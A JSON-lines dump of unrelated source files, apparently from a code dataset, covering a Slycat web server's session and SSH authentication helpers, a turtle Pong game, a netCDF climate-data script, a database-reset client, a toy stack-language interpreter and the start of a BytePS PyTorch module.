model_locks[model_id]\n\ndef put_project_data_parameter(database, project_data, aid, value, input=False):\n with get_project_data_lock(project_data[\"_id\"]):\n project_data[\"artifact:%s\" % aid] = value\n # Alex commenting this out since it results in a KeyError: 'artifact-types'\n # because there is no 'artifact-types' key on a project_data \n # project_data[\"artifact-types\"][aid] = \"json\"\n if input:\n project_data[\"input-artifacts\"] = list(set(project_data[\"input-artifacts\"] + [aid]))\n database.save(project_data)\n\ndef get_project_data_parameter(database, project_data, param):\n key = \"%s\" % param\n if key not in project_data:\n cherrypy.log.error(\"slycat.web.server.__init__.py get_project_data_parameter\", \"Unknown parameter: %s\" % param)\n raise KeyError(\"Unknown parameter: %s\" % param)\n return project_data[key]\n \n\ndef put_model_parameter(database, model, aid, value, input=False):\n with get_model_lock(model[\"_id\"]):\n try:\n model = database.get('model',model['_id'])\n model[\"artifact:%s\" % aid] = value\n model[\"artifact-types\"][aid] = \"json\"\n if input:\n model[\"input-artifacts\"] = list(set(model[\"input-artifacts\"] + [aid]))\n database.save(model)\n except Exception as e:\n time.sleep(1)\n model = database.get('model',model['_id'])\n model[\"artifact:%s\" % aid] = value\n model[\"artifact-types\"][aid] = \"json\"\n if input:\n model[\"input-artifacts\"] = list(set(model[\"input-artifacts\"] + [aid]))\n database.save(model)\n\n\ndef delete_model_parameter(database, model, aid):\n \"\"\"\n Delete a model parameter in the couch database\n :param database: \n :param model: model from the couchdb\n :param aid: artifact id\n :return: not used\n \"\"\"\n with get_model_lock(model[\"_id\"]):\n del model[\"artifact:%s\" % aid]\n del model[\"artifact-types\"][aid]\n database.save(model)\n\ndef create_session(hostname, username, password):\n \"\"\"Create a cached remote session for the given host.\n\n Parameters\n ----------\n hostname : string\n Name of the remote host to connect via SSH.\n username : string\n Username for SSH authentication.\n password : string\n Password for SSH authentication\n\n Returns\n -------\n sid : string\n A unique session identifier.\n \"\"\"\n return slycat.web.server.remote.create_session(hostname, username, password, None)\n\n\ndef checkjob(sid, jid):\n \"\"\"Submits a command to the slycat-agent to check the status of a submitted job to a cluster running SLURM.\n\n Parameters\n ----------\n sid : int\n Session identifier\n jid : int\n Job identifier\n\n Returns\n -------\n response : dict\n A dictionary with the following keys: jid, status, errors\n \"\"\"\n with slycat.web.server.remote.get_session(sid) as session:\n return session.checkjob(jid)\n\n\ndef get_remote_file(sid, path):\n \"\"\"Returns the content of a file from a remote system.\n\n Parameters\n ----------\n sid : int\n Session identifier\n path : string\n Path for the requested file\n\n Returns\n -------\n content : string\n Content of the requested file\n \"\"\"\n with slycat.web.server.remote.get_session(sid) as session:\n return session.get_file(path)\n\ndef write_remote_file(sid, path, data):\n \"\"\"Returns the content of a file from a remote system.\n\n Parameters\n ----------\n sid : int\n Session identifier\n path : string\n Path for the requested file\n\n Returns\n -------\n content : string\n Content of the requested file\n \"\"\"\n with slycat.web.server.remote.get_session(sid) as session:\n return session.write_file(path, data)\n\ndef get_remote_file_server(client, sid, path):\n \"\"\"Returns the content of a file from a remote system.\n\n Parameters\n ----------\n sid : int\n Session identifier\n path : string\n Path for the requested file\n\n Returns\n -------\n content : string\n Content of the requested file\n \"\"\"\n with slycat.web.server.remote.get_session_server(client, sid) as session:\n return session.get_file(path)\n\n\ndef post_model_file(mid, input=None, sid=None, path=None, aid=None, parser=None, client=None, **kwargs):\n if input is None:\n cherrypy.log.error(\"slycat.web.server.__init__.py put_model_file\", \"Required input parameter is missing.\")\n raise Exception(\"Required input parameter is missing.\")\n\n if path is not None and sid is not None:\n if client is not None:\n with slycat.web.server.remote.get_session_server(client, sid) as session:\n filename = \"%s@%s:%s\" % (session.username, session.hostname, path)\n # TODO verify that the file exists first...\n file = session.sftp.file(path).read()\n else:\n with slycat.web.server.remote.get_session(sid) as session:\n filename = \"%s@%s:%s\" % (session.username, session.hostname, path)\n # TODO verify that the file exists first...\n file = session.sftp.file(path).read()\n else:\n cherrypy.log.error(\"slycat.web.server.__init__.py post_model_file\", \"Must supply path and sid parameters.\")\n raise Exception(\"Must supply path and sid parameters.\")\n\n if parser is None:\n Exception(\"Required parser parameter is missing.\")\n if parser not in slycat.web.server.plugin.manager.parsers:\n cherrypy.log.error(\"slycat.web.server.__init__.py post_model_file\", \"Unknown parser plugin: %s.\" % parser)\n raise Exception(\"Unknown parser plugin: %s.\" % parser)\n\n database = slycat.web.server.database.couchdb.connect()\n model = database.get(\"model\", mid)\n\n try:\n slycat.web.server.plugin.manager.parsers[parser][\"parse\"](database, model, input, [file], [aid], **kwargs)\n except Exception as e:\n cherrypy.log.error(\"slycat.web.server.__init__.py post_model_file\", \"%s\" % e)\n raise Exception(\"%s\" % e)\n\n\ndef ssh_connect(hostname=None, username=None, password=None):\n ssh = paramiko.SSHClient()\n ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n if hostname == 'localhost' and 'localhost' in slycat.web.server.config[\"slycat-web-server\"][\"remote-authentication\"]:\n hostname = slycat.web.server.config[\"slycat-web-server\"][\"remote-authentication\"][\"localhost\"]\n\n if slycat.web.server.config[\"slycat-web-server\"][\"remote-authentication\"][\"method\"] == \"certificate\":\n _certFn = \"gen-rsa-ssh-cert\"\n if _certFn not in slycat.web.server.plugin.manager.utilities:\n raise Exception(\"Unknown ssh_connect plugin: %s.\" % _certFn)\n\n try:\n # get SSH cert from SSO server\n RSAcert = slycat.web.server.plugin.manager.utilities[_certFn]()\n ssh.connect(hostname=hostname, username=cherrypy.request.login, pkey=RSAcert,\n port=slycat.web.server.config[\"slycat-web-server\"][\"remote-authentication\"][\"port\"])\n except paramiko.AuthenticationException as e:\n cherrypy.log.error(\"ssh_connect cert method, authentication failed for %s@%s: %s\" % (\n cherrypy.request.login, hostname, str(e)))\n cherrypy.log.error(\"ssh_connect cert method, called ssh.connect traceback: %s\" % traceback.print_exc())\n raise cherrypy.HTTPError(\"403 Remote authentication failed.\")\n else:\n try:\n ssh.connect(hostname=hostname, username=username, password=password, compress=True)\n except paramiko.AuthenticationException as e:\n cherrypy.log.error(\"ssh_connect username/password method, authentication failed for %s@%s: %s\" % (\n username, hostname, str(e)))\n raise cherrypy.HTTPError(\"403 Remote authentication failed.\")\n\n ssh.get_transport().set_keepalive(5)\n return ssh\n\n\ndef get_password_function():\n if get_password_function.password_check is None:\n if \"password-check\" not in cherrypy.request.app.config[\"slycat-web-server\"]:\n raise cherrypy.HTTPError(\"500 No password check configured.\")\n plugin = cherrypy.request.app.config[\"slycat-web-server\"][\"password-check\"][\"plugin\"]\n args = cherrypy.request.app.config[\"slycat-web-server\"][\"password-check\"].get(\"args\", [])\n kwargs = cherrypy.request.app.config[\"slycat-web-server\"][\"password-check\"].get(\"kwargs\", {})\n if plugin not in list(slycat.web.server.plugin.manager.password_checks.keys()):\n cherrypy.log.error(\"slycat-standard-authentication.py authenticate\",\n \"cherrypy.HTTPError 500 no password check plugin found.\")\n raise cherrypy.HTTPError(\"500 No password check plugin found.\")\n get_password_function.password_check = functools.partial(\n slycat.web.server.plugin.manager.password_checks[plugin], *args,\n **kwargs)\n return get_password_function.password_check\n\n\nget_password_function.password_check = None\n\n\ndef response_url():\n \"\"\"\n get the resonse_url and clean it to make sure\n that we are not being spoofed\n :return: url to route to once signed in\n \"\"\"\n current_url = urlparse(cherrypy.url()) # gets current location on the server\n try:\n location = cherrypy.request.json[\"location\"]\n if parse_qs(urlparse(location['href']).query)['from']: # get from query href\n cleaned_url = parse_qs(urlparse(location['href']).query)['from'][0]\n if not cleaned_url.__contains__(\n current_url.netloc): # check net location to avoid cross site script attacks\n # No longer need to add projects to root url, so removing \n # cleaned_url = \"https://\" + current_url.netloc + \"/projects\"\n cleaned_url = \"https://\" + current_url.netloc\n else:\n # No longer need to add projects to root url, so removing \n # cleaned_url = \"https://\" + current_url.netloc + \"/projects\"\n cleaned_url = \"https://\" + current_url.netloc\n except Exception as e:\n # cherrypy.log.error(\"no location provided setting target to /projects\")\n # No longer need to add projects to root url, so removing \n # cleaned_url = \"https://\" + current_url.netloc + \"/projects\"\n cleaned_url = \"https://\" + current_url.netloc\n return cleaned_url\n\n\ndef decode_username_and_password():\n \"\"\"\n decode the url from the json that was passed to us\n :return: decoded url and password as a tuple\n \"\"\"\n try:\n # cherrypy.log.error(\"decoding username and password\")\n user_name = str(base64_decode(cherrypy.request.json[\"user_name\"]).decode())\n password = str(base64_decode(cherrypy.request.json[\"password\"]).decode())\n except Exception as e:\n cherrypy.log.error(str(e))\n # cherrypy.log.error(\"username and password could not be decoded\")\n cherrypy.log.error(\"slycat-standard-authentication.py authenticate\", \"cherrypy.HTTPError 400\")\n raise cherrypy.HTTPError(400)\n return user_name, password\n\n\ndef clean_up_old_session(user_name=None):\n \"\"\"\n try and delete any outdated sessions\n for the user if they have the cookie for it\n :return:no-op\n \"\"\"\n cherrypy.log.error(\"cleaning all sessions for %s\" % user_name)\n if \"slycatauth\" in cherrypy.request.cookie:\n try:\n # cherrypy.log.error(\"found old session trying to delete it \")\n sid = cherrypy.request.cookie[\"slycatauth\"].value\n couchdb = slycat.web.server.database.couchdb.connect()\n session = couchdb.get(\"session\", sid)\n if session is not None:\n couchdb.delete(session)\n except:\n # if an exception was throw there is nothing to be done\n pass\n if user_name is not None:\n try:\n couchdb = slycat.web.server.database.couchdb.connect()\n sessions = [session for session in couchdb.scan(\"slycat/sessions\") if\n session[\"creator\"] == user_name]\n if sessions:\n #cherrypy.log.error(\"sessions found %s\" % user_name)\n for session in sessions:\n couchdb.delete(session)\n #cherrypy.log.error(\"sessions deleted %s\" % user_name)\n except:\n # if an exception was throw there is nothing to be done\n pass\n\n\ndef check_user(session_user, apache_user, sid):\n \"\"\"\n check to see if the session user is equal to the apache user raise 403 and delete the\n session if they are not equal\n :param session_user: user_name in the couchdb use session\n :param apache_user: user sent in the apache header \"authuser\"\n :param couchdb: hook to couch\n :param sid: session id\n :param session: session object from couch\n :return:\n \"\"\"\n if session_user != apache_user:\n cherrypy.log.error(\"session_user::%s is not equal to apache_user::%s in standard auth\"\n \"deleting session and throwing 403 error to the browser\" % (session_user, apache_user))\n # force a lock so only one delete is called at a time\n with slycat.web.server.database.couchdb.db_lock:\n # we need to wrap this in a try catch in case the session is already removed\n try:\n couchdb = slycat.web.server.database.couchdb.connect()\n session = couchdb.get(\"session\", sid)\n couchdb.delete(session)\n except:\n # if we errored here the session has already been removed so we just need to return\n pass\n # expire the old cookie\n cherrypy.response.cookie[\"slycatauth\"] = sid\n cherrypy.response.cookie[\"slycatauth\"]['expires'] = 0\n cherrypy.response.status = \"403 Forbidden\"\n raise cherrypy.HTTPError(403)\n\n\ndef create_single_sign_on_session(remote_ip, auth_user, secure=True):\n \"\"\"\n WSGI/RevProxy no-login session creations.\n Successful authentication and access verification,\n create a session and return.\n :return: not used\n \"\"\"\n # must define groups but not populating at the moment !!!\n groups = []\n\n # Successful authentication and access verification, create a session and return.\n cherrypy.log.error(\"++ create_single_sign_on_session creating session for %s\" % auth_user)\n sid = uuid.uuid4().hex\n session = {\"created\": datetime.datetime.utcnow(), \"creator\": auth_user}\n with slycat.web.server.database.couchdb.db_lock:\n clean_up_old_session(auth_user)\n database = slycat.web.server.database.couchdb.connect()\n \n database.save({\"_id\": sid, \"type\": \"session\", \"created\": str(session[\"created\"].isoformat()), \"creator\": str(session[\"creator\"]),\n 'groups': groups, 'ip': remote_ip, \"sessions\": [], \"last-active-time\": str(session[\"created\"].isoformat())})\n\n cherrypy.response.cookie[\"slycatauth\"] = sid\n cherrypy.response.cookie[\"slycatauth\"][\"path\"] = \"/\"\n if secure:\n cherrypy.response.cookie[\"slycatauth\"][\"secure\"] = 1\n cherrypy.response.cookie[\"slycatauth\"][\"httponly\"] = 1\n timeout = int(cherrypy.request.app.config[\"slycat\"][\"session-timeout\"].total_seconds())\n cherrypy.response.cookie[\"slycatauth\"][\"Max-Age\"] = timeout\n cherrypy.response.cookie[\"slycattimeout\"] = \"timeout\"\n cherrypy.response.cookie[\"slycattimeout\"][\"path\"] = \"/\"\n cherrypy.response.cookie[\"slycattimeout\"][\"Max-Age\"] = timeout\n\n cherrypy.response.status = \"200 OK\"\n cherrypy.request.login = auth_user\n\n\ndef check_rules(groups):\n # cherrypy.log.error(\"%s@%s: Password check succeeded. checking for rules\" % (user_name, remote_ip))\n # Successful authentication, now check access rules.\n authentication_kwargs = cherrypy.request.app.config[\"slycat-web-server\"][\"authentication\"][\"kwargs\"]\n # for rules see slycat config file\n rules = []\n if \"rules\" in authentication_kwargs:\n rules = authentication_kwargs[\"rules\"]\n if \"realm\" in authentication_kwargs:\n realm = authentication_kwargs[\"realm\"]\n # cherrypy.log.error((\"rules: %s args: %s\" % (rules, authentication_kwargs)))\n\n if rules:\n # found rules now time to apply them\n # cherrypy.log.error(\"found rules::%s:: applying them to the user\" % (rules))\n deny = True\n for operation, category, members in rules:\n if operation not in [\"allow\"]:\n raise cherrypy.HTTPError(\"500 Unknown access rule operation: %s.\" % operation)\n if category not in [\"users\", \"groups\", \"directory\"]:\n raise cherrypy.HTTPError(\"500 Unknown access rule category: %s.\" % category)\n if category in [\"groups\"]:\n # see the slycat-dev web config for an example with this rule\n # verify the group given in rules is one of the user's meta groups as returned by the ldap password fn\n for group in groups:\n if group in members:\n deny = False\n if category in [\"directory\"]:\n try:\n lookupResult = cherrypy.request.app.config[\"slycat-web-server\"][\"directory\"](user_name)\n if lookupResult != {}:\n deny = False\n except:\n # cherrypy.log.error(\"Authentication failed to confirm %s is in access directory.\" % user_name)\n pass\n if deny:\n raise cherrypy.HTTPError(\"403 User denied by authentication rules.\")\n\n\ndef check_https_get_remote_ip():\n \"\"\"\n checks that the connection is https and then returns the users remote ip\n :return: remote ip\n \"\"\"\n if not (cherrypy.request.scheme == \"https\" or cherrypy.request.headers.get(\"x-forwarded-proto\") == \"https\"):\n cherrypy.log.error(\"slycat-standard-authentication.py authenticate\",\n \"cherrypy.HTTPError 403 secure connection required.\")\n raise cherrypy.HTTPError(\"403 Secure connection required.\")\n return cherrypy.request.headers.get(\n \"x-forwarded-for\") if \"x-forwarded-for\" in cherrypy.request.headers else cherrypy.request.rem\n","sub_path":"packages/slycat/web/server/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":40394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"101010897","text":"import turtle\n\nwn = turtle.Screen()\nwn.title(\"Pong By YassineNifa\")\nwn.bgcolor(\"black\")\nwn.setup(width=800,height=600)\nwn.tracer(0)\n\n\n\nclass paddle():\n\tdef __init__(self,pos):\n\t\tself.pos = pos\n\t\tpaddle_a = turtle.Turtle()\n\t\tpaddle_a.speed(0)\n\t\tpaddle_a.shape(\"square\")\n\t\tpaddle_a.color(\"white\")\n\t\tpaddle_a.shapesize(stretch_wid=5, stretch_len=1)\n\t\tpaddle_a.penup()\n\t\tpaddle_a.goto(self.pos[0],self.pos[1])\n\t\treturn paddle_a\n\n\tdef paddle_up(self):\n\t\ty = paddle_a.ycor()\n\t\t#20 pixel\n\t\ty += 20\n\t\tpaddle_a.sety(y)\n\n\tdef paddle_down(self):\n\t\ty = paddle_a.ycor()\n\t\t#20 pixel\n\t\ty += 20\n\t\tpaddle_a.sety(y)\n\n\n\n# Paddle A\n\npaddle_a = turtle.Turtle()\npaddle_a.speed(0)\npaddle_a.shape(\"square\")\npaddle_a.color(\"white\")\npaddle_a.shapesize(stretch_wid=5, stretch_len=1)\npaddle_a.penup()\npaddle_a.goto(-350,0)\n# Paddle B\n\npaddle_b = turtle.Turtle()\npaddle_b.speed(0)\npaddle_b.shape(\"square\")\npaddle_b.color(\"white\")\npaddle_b.shapesize(stretch_wid=5, stretch_len=1)\npaddle_b.penup()\npaddle_b.goto(350,0)\n\n\n#Ball\nball = turtle.Turtle()\nball.speed(0)\nball.shape(\"square\")\nball.color(\"white\")\nball.penup()\nball.goto(0,0)\nball.dx = 0.07\nball.dy = -0.07\n\n\n#function\n\ndef paddle_a_up():\n\ty = paddle_a.ycor()\n\t#20 pixel\n\ty += 20\n\tpaddle_a.sety(y)\n\ndef paddle_a_down():\n\ty = paddle_a.ycor()\n\ty -= 20\n\tpaddle_a.sety(y)\n\n\ndef paddle_b_up():\n\ty = paddle_b.ycor()\n\ty += 20\n\tpaddle_b.sety(y)\n\ndef paddle_b_down():\n\ty = paddle_b.ycor()\n\ty -= 20\n\tpaddle_b.sety(y)\n\n\nwn.listen()\nwn.onkeypress(paddle_a_down,\"s\")\nwn.onkeypress(paddle_a_up,\"z\")\nwn.onkeypress(paddle_b_down,\"Down\")\nwn.onkeypress(paddle_b_up,\"Up\")\n\n\n# score\nscore_a = 0\nscore_b = 0\n\n\n# Pen\npen = turtle.Turtle()\npen.speed(0)\npen.color(\"white\")\npen.penup() \npen.hideturtle()\npen.goto(0,260)\npen.write(\"Player A : 0 - Player B : 0\", align = \"center\", font=(\"Courier\",12,\"normal\"))\n\n# Main Loop\nwhile True:\n\twn.update()\n\tball.setx(ball.xcor() + ball.dx)\n\tball.sety(ball.ycor() + ball.dy)\n\n\t#Border Checking\n\tif ball.ycor() > 290:\n\t\tball.sety(290)\n\t\tball.dy *= -1\n\n\n\tif ball.ycor() < -290:\n\t\tball.sety(-290)\n\t\tball.dy *= -1\n\n\n\tif ball.xcor() > 390:\n\t\tball.goto(0,0)\n\t\tball.dx *= -1\n\t\tscore_a += 1\n\t\tpen.clear()\n\t\tpen.write(\"Player A : {} - Player B : {}\".format(score_a,score_b), align = \"center\", font=(\"Courier\",12,\"normal\"))\n\n\n\tif ball.xcor() < -390:\n\t\tball.goto(0,0)\n\t\tball.dx *= -1\n\t\tscore_b += 1\n\t\tpen.clear()\n\t\tpen.write(\"Player A : {} - Player B : {}\".format(score_a,score_b), align = \"center\", font=(\"Courier\",12,\"normal\"))\n\t\n\n\n\tif ball.xcor() > 330 and (ball.ycor() < paddle_b.ycor() + 40 and ball.ycor() > paddle_b.ycor() - 40):\n\t\tball.dx *= -1\n\t\n\n\tif ball.xcor() < -330 and (ball.ycor() < paddle_a.ycor() + 40 and ball.ycor() > paddle_a.ycor() - 40):\n\t\tball.dx *= -1\n\t\t\n\n\n\n","sub_path":"pong/maincode.py","file_name":"maincode.py","file_ext":"py","file_size_in_byte":2712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"602184008","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Feb 25 08:55:22 2019\r\n@author: ED\r\n\"\"\"\r\nimport numpy as np;\r\nimport pandas as pd;\r\nimport matplotlib.pyplot as plt;\r\n\r\nfrom netCDF4 import Dataset\r\nnc = Dataset('foop.nc' , 'r')\r\n\r\n\r\n\r\n########################### Edit Here ###############################\r\nTitle = 'Yorkshire & Humber'\r\nlat = 10\r\nlong = 16\r\n\r\n\r\n\r\n\r\n#####################################################################\r\n\r\n\r\n\r\n\r\n\r\nfor i in nc.variables:\r\n print(i)\r\n \r\n \r\ntas = nc.variables['tas'][:]\r\n\r\nlatitude_longitude = nc.variables['latitude_longitude'][:]\r\nensemble_member = nc.variables['ensemble_member'][:]\r\ntime = nc.variables['time'][:]\r\nlatitude = nc.variables['latitude'][:]\r\nlatitude_bnds = nc.variables['latitude_bnds'][:]\r\nlongitude = nc.variables['longitude'][:]\r\nlongitude_bnds = nc.variables['longitude_bnds'][:]\r\nensemble_member_id = nc.variables['ensemble_member_id'][:]\r\nmonth_number = nc.variables['month_number'][:]\r\nyear = nc.variables['year'][:]\r\nyyyymms = nc.variables['yyyymm'][:]\r\n\r\nprint(tas[0 , 0 ,0 ,0 ])\r\nshuffle_tas = tas[0,:]\r\nshuffle_tas_np = np.array(shuffle_tas)\r\nlatitude_np = np.array(latitude[:])\r\nlatitude_bnds_np = np.array(latitude_bnds[:])\r\nlongitude_np = np.array(longitude[:])\r\nlongitude_bnds_np = np.array(longitude_bnds[:])\r\nmonth_number_np = np.array(month_number[:])\r\nyear_np = np.array(year[:])\r\ndate_np = np.array([year[:] , month_number[:]])\r\ndate_np = np.rot90(date_np)\r\ndate_np = np.rot90(date_np)\r\ndate_np = np.rot90(date_np)\r\nland_panda = pd.DataFrame({'year':year_np[: ] , 'month':month_number_np[:]})\r\nsearch_year=['1999']\r\nsearch_month = ['10']\r\nfound_year = land_panda.loc[land_panda['year'].isin(search_year)]\r\nfound_year_month = found_year = found_year.loc[found_year['month'].isin(search_month)]\r\ndesired_date_index = found_year_month.index[0]\r\ntesterino = shuffle_tas_np[desired_date_index , : , :]\r\nviewing = shuffle_tas_np[desired_date_index , : , :]\r\ncoor_sat = (np.where(viewing<10))\r\nfoo = (coor_sat[0])\r\nfoofoo = (coor_sat[1])\r\ninvest_coor = np.stack((foo, foofoo))\r\ninvest_coor = np.rot90(invest_coor)\r\ninvest_coor = np.rot90(invest_coor)\r\ninvest_coor = np.rot90(invest_coor)\r\n\r\n\r\n\r\nprint(shuffle_tas[0 , 14 , 14])\r\n\r\n\r\nresult = []\r\nfor i in range (2400):\r\n foopp = shuffle_tas[i,lat,long]\r\n result.append(foopp)\r\n \r\noutput_panda = pd.DataFrame({'year':year , 'month_number':month_number , 'temperature':result})\r\n#\r\n#\r\noutput_panda.to_csv(Title)\r\n ","sub_path":"foopland.py","file_name":"foopland.py","file_ext":"py","file_size_in_byte":2484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"148900895","text":"# Copyright (C) 2014 Daniel Morrissey & Andrey Shprengel\n#\n# Everyone is permitted to copy and distribute verbatim or modified\n# copies of this license document, and changing it is allowed as long\n# as the name is changed.\n\n\"\"\" Program to Reset The Main Database\n\nRequires Proper Authorization, and the server to be responding\n\"\"\"\n\nfrom bin.network.server_comm import DeleteJSONToServer, FormRegistrationJSON\nfrom bin.util.constants import AUTH_ID\n\nSERVER_URL = 'http://remote-light.herokuapp.com/reset/'\n# SERVER_URL = 'http://192.168.1.108:5000/reset/'\n\n\ndef ResetTable():\n\t\"\"\" Sends a request to reset our database\n\n\t\"\"\"\n\tdata = FormRegistrationJSON(AUTH_ID)\n\n\tresponse = DeleteJSONToServer(data, SERVER_URL)\n\n\tprint(response.text)\n\nif __name__ == '__main__':\n\tResetTable()\n","sub_path":"reset_table.py","file_name":"reset_table.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"489352961","text":"\nfrom .. compiler.tokenizer import Token\nfrom .. ops import OPERATORS\nfrom .. constants import *\nfrom .. common import find_op_by_symbol, find_endblock_token_index\nfrom .. error_format import error_format\n\n\ndef _print(interpreter, args):\n\tL = []\n\tfor x in args:\n\t\tL.append(str(interpreter.get_as_value(x)))\n\tinterpreter.print_buffer.append(string.join(L, \", \"))\n\n\ndef _del(interpreter, args):\n\tif len(args) < 1:\n\t\terror_format(interpreter.current_token, \"\\\"del\\\" expects at least one argument.\") # TODO:\n\tfor arg in args:\n\t\tif arg.type == TYPE_TERM:\n\t\t\tif arg.value in interpreter.variables:\n\t\t\t\tinterpreter.variables.pop(arg.value)\n\t\telse:\n\t\t\t# TODO:\n\t\t\terror_format(interpreter.current_token, \"\\\"del\\\" received an argument that wasn't a term (expects variable names).\")\n\ndef _while(interpreter, args):\n\treturn args[0]\n\ndef _if(interpreter, args):\n\treturn args[0]\n\nclass Interpreter(object):\n\tdef __init__(self, compiled_script):\n\t\tif len(compiled_script.tokens) > TOKEN_MAX:\n\t\t\traise Exception(\"Derp, token limit exceeded.\")\n\n\t\tself.script = compiled_script\n\t\tself.stack = []\n\t\tself.variables = {}\n\t\tself.functions = {\n\t\t\t\"if\": _if,\n\t\t\t\"while\": _while,\n\t\t\t\"print\": _print,\n\t\t\t\"del\": _del\n\t\t}\n\t\tself.cursor = 0\n\t\tself.next_cursor = None\n\n\t\tself.current_token = None\n\t\tself.print_buffer = []\n\t\tself.eof = False\n\n\tdef get_as_value(self,token):\n\t\tif type(token) is Token:\n\t\t\tif token.type == TYPE_NUMBER:\n\t\t\t\treturn float(token.value)\n\t\t\telif token.type == TYPE_STRING:\n\t\t\t\treturn token.value\n\t\t\telif token.type == TYPE_TERM:\n\t\t\t\tif token.value not in self.variables:\n\t\t\t\t\terror_format(token, \"{term} is not an existing variable.\".format(term=token.value))\n\t\t\t\telse:\n\t\t\t\t\treturn self.variables[token.value]\n\t\treturn token\n\n\tdef assign(self, operand1, operand2):\n\t\tif type(operand1) is Token and operand1.type == TYPE_TERM:\n\t\t\tif operand1.value in self.functions:\n\t\t\t\terror_format(self.current_token, \"{v} is the name of a function; it is a reserved keyword.\".format(v=operand1.value))\n\t\t\tif operand1.value in MISC_KEYWORDS:\n\t\t\t\terror_format(self.current_token, \"{v} is a reserved keyword.\".format(v=operand1.value))\n\t\t\tif len(self.variables) >= VAR_MAX:\n\t\t\t\terror_format(self.current_token, \"OUT OF MEMORY\")\n\t\t\tself.variables[operand1.value] = self.get_as_value(operand2)\n\t\telse:\n\t\t\terror_format(self.current_token, \"WTF\")\n\n\tdef runtime_error(self, error):\n\t\terror_format(self.current_token, str(error))\n\n\tdef process_one(self):\n\t\tself.print_buffer = []\n\n\t\tif self.next_cursor is not None:\n\t\t\tself.cursor = self.next_cursor\n\t\tif self.cursor >= len(self.script.tokens):\n\t\t\tself.eof = True\n\t\t\treturn\n\n\t\tself.current_token = self.script.tokens[self.cursor]\n\n\t\tt = self.current_token.type\n\t\tv = self.current_token.value\n\n\t\toutput = None\n\n\t\tif t == TYPE_OPERATOR:\n\t\t\targs = []\n\t\t\tfor i in xrange(2):\n\t\t\t\tif len(self.stack) > 0:\n\t\t\t\t\targs.append(self.pop_stack(False))\n\t\t\targs.reverse()\n\t\t\tthe_op = None\n\t\t\tfor op in OPERATORS:\n\t\t\t\tif op.SYMBOL == v and op.NUM_OPERANDS == len(args):\n\t\t\t\t\tthe_op = op\n\t\t\t\t\tbreak\n\t\t\tif the_op is not None:\n\t\t\t\tif len(args) == 1: args.append(None)\n\t\t\t\toutput = the_op.perform_op(args[0],args[1],self)\n\t\t\telse:\n\t\t\t\terror_format(self.current_token, \"No operator \\\"{v}\\\" needs {x} operands.\".format(v=v,x=len(args)))\n\t\t\tself.next_cursor = self.cursor + 1\n\n\t\telif t == TYPE_FUNCTION:\n\t\t\tif v in self.functions:\n\t\t\t\targs = list(self.stack)\n\t\t\t\tself.stack = []\n\t\t\t\toutput = self.functions[v](self, args)\n\n\t\t\t\t# We check if there's a body after this function.\n\t\t\t\t# In the event that there is and the output evaluates to false,\n\t\t\t\t# we skip that body.\n\t\t\t\tif self.cursor + 1 < len(self.script.tokens) and \\\n\t\t\t\t\tself.script.tokens[self.cursor + 1].type == TYPE_BLOCK_START and \\\n\t\t\t\t\tself.script.tokens[self.cursor + 1].value == BLOCK_START_CHAR:\n\t\t\t\t\tif output:\n\t\t\t\t\t\tself.next_cursor = self.cursor + 1\n\t\t\t\t\telse:\n\t\t\t\t\t\tend_index = find_endblock_token_index(self.script.tokens, self.cursor + 2)\n\t\t\t\t\t\tself.next_cursor = end_index + 1\n\t\t\t\t\toutput = None\n\t\t\t\telse:\n\t\t\t\t\tself.next_cursor = self.cursor + 1\n\t\t\telse:\n\t\t\t\terror_format(self.current_token, \"Function \\\"{v}\\\" does not exist.\".format(v=v))\n\n\t\telif t == TYPE_GOTO:\n\t\t\tself.next_cursor = v\n\n\t\telif t == TYPE_BLOCK_START or t == TYPE_BLOCK_END:\n\t\t\tself.next_cursor = self.cursor + 1\n\n\t\telif t in (TYPE_NUMBER, TYPE_STRING):\n\t\t\tself.push_stack(self.get_as_value(self.current_token))\n\t\t\tself.next_cursor = self.cursor + 1\n\n\t\telse:\n\t\t\tif v not in MISC_KEYWORDS:\n\t\t\t\tself.push_stack(self.current_token)\n\t\t\tself.next_cursor = self.cursor + 1\n\n\t\tif output is not None:\n\t\t\tif type(output) in (tuple,list):\n\t\t\t\tfor x in output:\n\t\t\t\t\tself.push_stack(x)\n\t\t\telse:\n\t\t\t\tself.push_stack(output)\n\n\tdef push_stack(self, x):\n\t\tif len(self.stack) >= STACK_MAX:\n\t\t\traise Exception(\"STACK OVERFLOW!\")\n\t\tself.stack.append(x)\n\n\tdef pop_stack(self, error_on_failure=True):\n\t\tif len(self.stack) == 0:\n\t\t\tif error_on_failure:\n\t\t\t\traise Exception(\"Doop, no more stuff in the stack.\")\n\t\t\t\t#TODO: Raise a proper error here.\n\t\t\treturn None\n\t\treturn self.stack.pop()","sub_path":"V2/pancake/interpreter/interpreter.py","file_name":"interpreter.py","file_ext":"py","file_size_in_byte":5009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"644505628","text":"# Copyright 2019 Bytedance Inc. All Rights Reserved.\n# Copyright 2019 Uber Technologies, Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\nfrom __future__ import absolute_import, division, print_function\n\nimport collections\nimport copy\nimport os\nimport struct\nfrom contextlib import contextmanager\nfrom math import isclose\n\nfrom torch import is_distributed\n\nfrom byteps.torch.compression import Compression\nfrom byteps.torch.ops import (declare, init, local_rank, local_size, poll,\n push_pull, push_pull_inplace)\nfrom byteps.torch.ops import push_pull_async_inplace as byteps_push_pull\nfrom byteps.torch.ops import rank, resume, shutdown, size, suspend, synchronize\n\nimport 